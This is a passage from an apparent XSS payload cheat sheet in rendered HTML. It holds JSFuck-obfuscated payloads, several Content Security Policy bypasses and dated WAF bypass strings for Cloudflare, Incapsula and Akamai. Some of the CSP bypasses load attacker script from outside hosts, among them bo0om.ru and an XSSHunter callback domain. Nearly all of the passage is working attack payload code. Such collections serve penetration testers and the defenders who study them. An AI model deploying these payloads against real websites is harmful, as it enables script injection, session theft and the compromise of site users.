class="o">+</span><span class="p">[]]</span><span class="o">+</span><span class="p">([</span><span class="o">!</span><span class="p">[]]</span><span class="o">+</span><span class="p">[][[]])[</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[</span><span class="o">+</span><span class="p">[]]]</span><span class="o">+</span><span class="p">(</span><span class="o">!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+!+</span><span class="p">[]]])[</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[</span><span class="o">+</span><span class="p">[]]]</span><span class="o">+</span><span class="p">([][[]]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">([][[]]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+</span><span class="p">[]]</span><span class="o">+</span><span class="p">([][(</span><span class="o">!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+</span><span class="p">[]]</span><span class="o">+</span><span class="p">([</span><span class="o">!</span><span class="p">[]]</span><span class="o">+</span><span class="p">[][[]])[</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[</span><span class="o">+</span><span class="p">[]]]</span><span class="o">+</span><span class="p">(</span><span class="o">!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+!+</span><span class="p">[]]]</span><span class="o">+</span><span class="p">[])[</span><span class="o">!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[][(</span><span class="o">!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+</span><span class="p">[]]</span><span class="o">+</span><span class="p">([</span><span class="o">!</span><span class="p">[]]</span><span class="o">+</span><span class="p">[][[]])[</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[</span><span class="o">+</span><span class="p">[]]]</span><span class="o">+</span><span class="p">(</span><span class="o">!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+!+</span><span class="p">[]]])[</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[</span><span class="o">+</span><span class="p">[]]]</span><span class="o">+</span><span class="p">(</span><span class="o">!!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+!+</span><span class="p">[]]]</span><span class="o">+</span><span class="p">[])[[</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">[</span><span class="o">!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]]])()</span><span class="o"><</span><span class="err">/script></span>
|
||
</code></pre></div>
|
||
<h3 id="bypass-using-jsfuck">Bypass using jsfuck</h3>
|
||
<p>Bypass using <a href="http://www.jsfuck.com/">jsfuck</a></p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-83-1" name="__codelineno-83-1" href="#__codelineno-83-1"></a><span class="p">[][(</span><span class="o">!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+</span><span class="p">[]]</span><span class="o">+</span><span class="p">([</span><span class="o">!</span><span class="p">[]]</span><span class="o">+</span><span class="p">[][[]])[</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[</span><span class="o">+</span><span class="p">[]]]</span><span class="o">+</span><span class="p">(</span><span class="o">!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+!+</span><span class="p">[]]][([][(</span><span class="o">!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+</span><span class="p">[]]</span><span class="o">+</span><span class="p">([</span><span class="o">!</span><span class="p">[]]</span><span class="o">+</span><span class="p">[][[]])[</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[</span><span class="o">+</span><span class="p">[]]]</span><span class="o">+</span><span class="p">(</span><span class="o">!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+!+</span><span class="p">[]]]</span><span class="o">+</span><span class="p">[])[</span><span class="o">!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!!</span><span class="p">[]</span><span class="o">+</span><span class="p">[][(</span><span class="o">!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+</span><span class="p">[]]</span><span class="o">+</span><span class="p">([</span><span class="o">!</span><span class="p">[]]</span><span class="o">+</span><span class="p">[][[]])[</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[</span><span class="o">+</span><span class="p">[]]]</span><span class="o">+</span><span class="p">(</span><span class="o">!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+!+</span><span class="p">[]]])[</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[</span><span class="o">+</span><span class="p">[]]]</span><span class="o">+</span><span class="p">([][[]]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">([][[]]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+</span><span class="p">[]]</span><span class="o">+</span><span class="p">([][(</span><span class="o">!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+</span><span class="p">[]]</span><span class="o">+</span><span class="p">([</span><span class="o">!</span><span class="p">[]]</span><span class="o">+</span><span class="p">[][[]])[</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[</span><span class="o">+</span><span class="p">[]]]</span><span class="o">+</span><span class="p">(</span><span class="o">!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+!+</span><span class="p">[]]]</span><span class="o">+</span><span class="p">[])[</span><span class="o">!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!!</span><span class="p">[]</span><span class="o">+</span><span class="p">[][(</span><span class="o">!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+</span><span class="p">[]]</span><span class="o">+</span><span class="p">([</span><span class="o">!</span><span class="p">[]]</span><span class="o">+</span><span class="p">[][[]])[</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[</span><span class="o">+</span><span class="p">[]]]</span><span class="o">+</span><span class="p">(</span><span class="o">!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+!+</span><span class="p">[]]])[</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[</span><span class="o">+</span><span class="p">[]]]</span><span class="o">+</span><span class="p">(</span><span class="o">!!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+!+</span><span class="p">[]]]((</span><span class="o">!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!</span><span class="p">[]</span><span class="o">+</span><span class="p">[][(</span><span class="o">!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+</span><span class="p">[]]</span><span class="o">+</span><span class="p">([</span><span class="o">!</span><span class="p">[]]</span><span class="o">+</span><span class="p">[][[]])[</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[</span><span class="o">+</span><span class="p">[]]]</span><span class="o">+</span><span class="p">(</span><span class="o">!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+!+</span><span class="p">[]]])[</span><span class="o">!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[</span><span class="o">+</span><span class="p">[]]]</span><span class="o">+</span><span class="p">[</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!!</span><span class="p">[]</span><span class="o">+</span><span class="p">[][(</span><span class="o">!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+</span><span class="p">[]]</span><span class="o">+</span><span class="p">([</span><span class="o">!</span><span class="p">[]]</span><span class="o">+</span><span class="p">[][[]])[</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[</span><span class="o">+</span><span class="p">[]]]</span><span class="o">+</span><span class="p">(</span><span class="o">!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+!+</span><span class="p">[]]])[</span><span class="o">!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[</span><span class="o">+</span><span class="p">[]]])()</span>
|
||
</code></pre></div>
|
||
<h2 id="csp-bypass">CSP Bypass</h2>
|
||
<p>Check the CSP on <a href="https://csp-evaluator.withgoogle.com">https://csp-evaluator.withgoogle.com</a> and the post : <a href="https://websecblog.com/vulns/google-csp-evaluator/">How to use Google’s CSP Evaluator to bypass CSP</a></p>
|
||
<h3 id="bypass-csp-using-jsonp-from-google-trick-by-apfeifer27">Bypass CSP using JSONP from Google (Trick by <a href="https://twitter.com/apfeifer27">@apfeifer27</a>)</h3>
|
||
<p>//google.com/complete/search?client=chrome&jsonp=alert(1);</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-84-1" name="__codelineno-84-1" href="#__codelineno-84-1"></a><span class="o"><</span><span class="nx">script</span><span class="o">/</span><span class="nx">src</span><span class="o">=</span><span class="c1">//google.com/complete/search?client=chrome%26jsonp=alert(1);>"</span>
|
||
</code></pre></div>
|
||
<p>More JSONP endpoints:
|
||
* <a href="Intruders/jsonp_endpoint.txt">/Intruders/jsonp_endpoint.txt</a>
|
||
* <a href="https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt">JSONBee/jsonp.txt</a></p>
|
||
<h3 id="bypass-csp-by-labwallarmcom">Bypass CSP by <a href="https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa">lab.wallarm.com</a></h3>
|
||
<p>Works for CSP like <code>Content-Security-Policy: default-src 'self' 'unsafe-inline';</code>, <a href="http://hsts.pro/csp.php?xss=f=document.createElement%28"iframe"%29;f.id="pwn";f.src="/robots.txt";f.onload=%28%29=>%7Bx=document.createElement%28%27script%27%29;x.src=%27//bo0om.ru/csp.js%27;pwn.contentWindow.document.body.appendChild%28x%29%7D;document.body.appendChild%28f%29;">POC here</a></p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-85-1" name="__codelineno-85-1" href="#__codelineno-85-1"></a><span class="nx">script</span><span class="o">=</span><span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="s1">'script'</span><span class="p">);</span>
|
||
<a id="__codelineno-85-2" name="__codelineno-85-2" href="#__codelineno-85-2"></a><span class="nx">script</span><span class="p">.</span><span class="nx">src</span><span class="o">=</span><span class="s1">'//bo0om.ru/csp.js'</span><span class="p">;</span>
|
||
<a id="__codelineno-85-3" name="__codelineno-85-3" href="#__codelineno-85-3"></a><span class="nb">window</span><span class="p">.</span><span class="nx">frames</span><span class="p">[</span><span class="mf">0</span><span class="p">].</span><span class="nb">document</span><span class="p">.</span><span class="nx">head</span><span class="p">.</span><span class="nx">appendChild</span><span class="p">(</span><span class="nx">script</span><span class="p">);</span>
|
||
</code></pre></div>
|
||
<h3 id="bypass-csp-by-rhynorater">Bypass CSP by <a href="https://gist.github.com/Rhynorater/311cf3981fda8303d65c27316e69209f">Rhynorater</a></h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-86-1" name="__codelineno-86-1" href="#__codelineno-86-1"></a><span class="c1">// CSP Bypass with Inline and Eval</span>
|
||
<a id="__codelineno-86-2" name="__codelineno-86-2" href="#__codelineno-86-2"></a><span class="nx">d</span><span class="o">=</span><span class="nb">document</span><span class="p">;</span><span class="nx">f</span><span class="o">=</span><span class="nx">d</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="s2">"iframe"</span><span class="p">);</span><span class="nx">f</span><span class="p">.</span><span class="nx">src</span><span class="o">=</span><span class="nx">d</span><span class="p">.</span><span class="nx">querySelector</span><span class="p">(</span><span class="s1">'link[href*=".css"]'</span><span class="p">).</span><span class="nx">href</span><span class="p">;</span><span class="nx">d</span><span class="p">.</span><span class="nx">body</span><span class="p">.</span><span class="nx">append</span><span class="p">(</span><span class="nx">f</span><span class="p">);</span><span class="nx">s</span><span class="o">=</span><span class="nx">d</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="s2">"script"</span><span class="p">);</span><span class="nx">s</span><span class="p">.</span><span class="nx">src</span><span class="o">=</span><span class="s2">"https://[YOUR_XSSHUNTER_USERNAME].xss.ht"</span><span class="p">;</span><span class="nx">setTimeout</span><span class="p">(</span><span class="kd">function</span><span class="p">(){</span><span class="nx">f</span><span class="p">.</span><span class="nx">contentWindow</span><span class="p">.</span><span class="nb">document</span><span class="p">.</span><span class="nx">head</span><span class="p">.</span><span class="nx">append</span><span class="p">(</span><span class="nx">s</span><span class="p">);},</span><span class="mf">1000</span><span class="p">)</span>
|
||
</code></pre></div>
|
||
<h3 id="bypass-csp-by-akita_zen">Bypass CSP by <a href="https://twitter.com/akita_zen">@akita_zen</a></h3>
|
||
<p>Works for CSP like <code>script-src self</code></p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-87-1" name="__codelineno-87-1" href="#__codelineno-87-1"></a><span class="o"><</span><span class="nx">object</span><span class="w"> </span><span class="nx">data</span><span class="o">=</span><span class="s2">"data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="</span><span class="o">><</span><span class="err">/object></span>
|
||
</code></pre></div>
|
||
<h3 id="bypass-csp-by-404death">Bypass CSP by <a href="https://twitter.com/404death/status/1191222237782659072">@404death</a></h3>
|
||
<p>Works for CSP like <code>script-src 'self' data:</code> as warned about in the official <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src">mozilla documentation</a>.</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-88-1" name="__codelineno-88-1" href="#__codelineno-88-1"></a><span class="o"><</span><span class="nx">script</span><span class="w"> </span><span class="nx">src</span><span class="o">=</span><span class="s2">"data:,alert(1)"</span><span class="o">></span><span class="err">/</script></span>
|
||
</code></pre></div>
|
||
<h2 id="common-waf-bypass">Common WAF Bypass</h2>
|
||
<h3 id="cloudflare-xss-bypasses-by-bohdan-korzhynskyi">Cloudflare XSS Bypasses by <a href="https://twitter.com/bohdansec">@Bohdan Korzhynskyi</a></h3>
|
||
<h4 id="25st-january-2021">25st January 2021</h4>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-89-1" name="__codelineno-89-1" href="#__codelineno-89-1"></a><span class="p"><</span><span class="nt">svg</span><span class="err">/</span><span class="na">onrandom</span><span class="o">=</span><span class="s">random</span> <span class="na">onload</span><span class="o">=</span><span class="s">confirm(1)</span><span class="p">></span>
|
||
<a id="__codelineno-89-2" name="__codelineno-89-2" href="#__codelineno-89-2"></a><span class="p"><</span><span class="nt">video</span> <span class="na">onnull</span><span class="o">=</span><span class="s">null</span> <span class="na">onmouseover</span><span class="o">=</span><span class="s">confirm(1)</span><span class="p">></span>
|
||
</code></pre></div>
|
||
<h4 id="21st-april-2020">21st April 2020</h4>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-90-1" name="__codelineno-90-1" href="#__codelineno-90-1"></a><span class="p"><</span><span class="nt">svg</span><span class="err">/</span><span class="na">OnLoad</span><span class="o">=</span><span class="s">"`${prompt``}`"</span><span class="p">></span>
|
||
</code></pre></div>
|
||
<h4 id="22nd-august-2019">22nd August 2019</h4>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-91-1" name="__codelineno-91-1" href="#__codelineno-91-1"></a><span class="p"><</span><span class="nt">svg</span><span class="err">/</span><span class="na">onload</span><span class="o">=</span><span class="s">%26nbsp;alert`bohdan`+</span>
|
||
</code></pre></div>
|
||
<h4 id="5th-june-2019">5th June 2019</h4>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-92-1" name="__codelineno-92-1" href="#__codelineno-92-1"></a>1'"><span class="p"><</span><span class="nt">img</span><span class="err">/</span><span class="na">src</span><span class="err">/</span><span class="na">onerror</span><span class="o">=</span><span class="s">.1|alert``</span><span class="p">></span>
|
||
</code></pre></div>
|
||
<h4 id="3rd-june-2019">3rd June 2019</h4>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-93-1" name="__codelineno-93-1" href="#__codelineno-93-1"></a><span class="p"><</span><span class="nt">svg</span> <span class="na">onload</span><span class="o">=</span><span class="s">prompt%26%230000000040document.domain)</span><span class="p">></span>
|
||
<a id="__codelineno-93-2" name="__codelineno-93-2" href="#__codelineno-93-2"></a><span class="p"><</span><span class="nt">svg</span> <span class="na">onload</span><span class="o">=</span><span class="s">prompt%26%23x000000028;document.domain)</span><span class="p">></span>
|
||
<a id="__codelineno-93-3" name="__codelineno-93-3" href="#__codelineno-93-3"></a>xss'"><span class="p"><</span><span class="nt">iframe</span> <span class="na">srcdoc</span><span class="o">=</span><span class="s">'%26lt;script>;prompt`${document.domain}`%26lt;/script>'</span><span class="p">></span>
|
||
</code></pre></div>
|
||
<h3 id="cloudflare-xss-bypass-22nd-march-2019-by-rakeshmane10">Cloudflare XSS Bypass - 22nd March 2019 (by @RakeshMane10)</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-94-1" name="__codelineno-94-1" href="#__codelineno-94-1"></a><svg/onload=&#97&#108&#101&#114&#00116&#40&#41&#x2f&#x2f
|
||
</code></pre></div>
|
||
<h3 id="cloudflare-xss-bypass-27th-february-2018">Cloudflare XSS Bypass - 27th February 2018</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-95-1" name="__codelineno-95-1" href="#__codelineno-95-1"></a><span class="p"><</span><span class="nt">a</span> <span class="na">href</span><span class="o">=</span><span class="s">"j&Tab;a&Tab;v&Tab;asc&NewLine;ri&Tab;pt&colon;&lpar;a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;(document.domain)&rpar;"</span><span class="p">></span>X<span class="p"></</span><span class="nt">a</span><span class="p">></span>
|
||
</code></pre></div>
|
||
<h3 id="chrome-auditor-9th-august-2018">Chrome Auditor - 9th August 2018</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-96-1" name="__codelineno-96-1" href="#__codelineno-96-1"></a><span class="o"><</span><span class="err">/script><svg><script>alert(1)-%26apos%3B</span>
|
||
</code></pre></div>
|
||
<p>Live example by @brutelogic - <a href="https://brutelogic.com.br/xss.php?c1=</script><svg><script>alert(1)-%26apos%3B">https://brutelogic.com.br/xss.php</a></p>
|
||
<h3 id="incapsula-waf-bypass-by-alra3ees-8th-march-2018">Incapsula WAF Bypass by <a href="https://twitter.com/Alra3ees/status/971847839931338752">@Alra3ees</a>- 8th March 2018</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-97-1" name="__codelineno-97-1" href="#__codelineno-97-1"></a><span class="nx">anythinglr00</span><span class="o"><</span><span class="err">/script><script>alert(document.domain)</script>uxldz</span>
|
||
<a id="__codelineno-97-2" name="__codelineno-97-2" href="#__codelineno-97-2"></a>
|
||
<a id="__codelineno-97-3" name="__codelineno-97-3" href="#__codelineno-97-3"></a><span class="nx">anythinglr00</span><span class="o">%</span><span class="mf">3</span><span class="nx">c</span><span class="o">%</span><span class="mf">2</span><span class="nx">fscript</span><span class="o">%</span><span class="mf">3</span><span class="nx">e</span><span class="o">%</span><span class="mf">3</span><span class="nx">cscript</span><span class="o">%</span><span class="mf">3</span><span class="nx">ealert</span><span class="p">(</span><span class="nb">document</span><span class="p">.</span><span class="nx">domain</span><span class="p">)</span><span class="o">%</span><span class="mf">3</span><span class="nx">c</span><span class="o">%</span><span class="mf">2</span><span class="nx">fscript</span><span class="o">%</span><span class="mf">3</span><span class="nx">euxldz</span>
|
||
</code></pre></div>
|
||
<h3 id="incapsula-waf-bypass-by-c0d3g33k-11th-september-2018">Incapsula WAF Bypass by <a href="https://twitter.com/c0d3G33k">@c0d3G33k</a> - 11th September 2018</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-98-1" name="__codelineno-98-1" href="#__codelineno-98-1"></a><span class="o"><</span><span class="nx">object</span><span class="w"> </span><span class="nx">data</span><span class="o">=</span><span class="s1">'data:text/html;;;;;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=='</span><span class="o">><</span><span class="err">/object></span>
|
||
</code></pre></div>
|
||
<h3 id="incapsula-waf-bypass-by-daveysec-11th-may-2019">Incapsula WAF Bypass by <a href="https://twitter.com/daveysec/status/1126999990658670593">@daveysec</a> - 11th May 2019</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-99-1" name="__codelineno-99-1" href="#__codelineno-99-1"></a><span class="p"><</span><span class="nt">svg</span> <span class="na">onload</span><span class="err">\</span><span class="na">r</span><span class="err">\</span><span class="na">n</span><span class="o">=</span><span class="s">$.globalEval("al"+"ert()");</span><span class="p">></span>
|
||
</code></pre></div>
|
||
<h3 id="akamai-waf-bypass-by-zseano-18th-june-2018">Akamai WAF Bypass by <a href="https://twitter.com/zseano">@zseano</a> - 18th June 2018</h3>
|
||
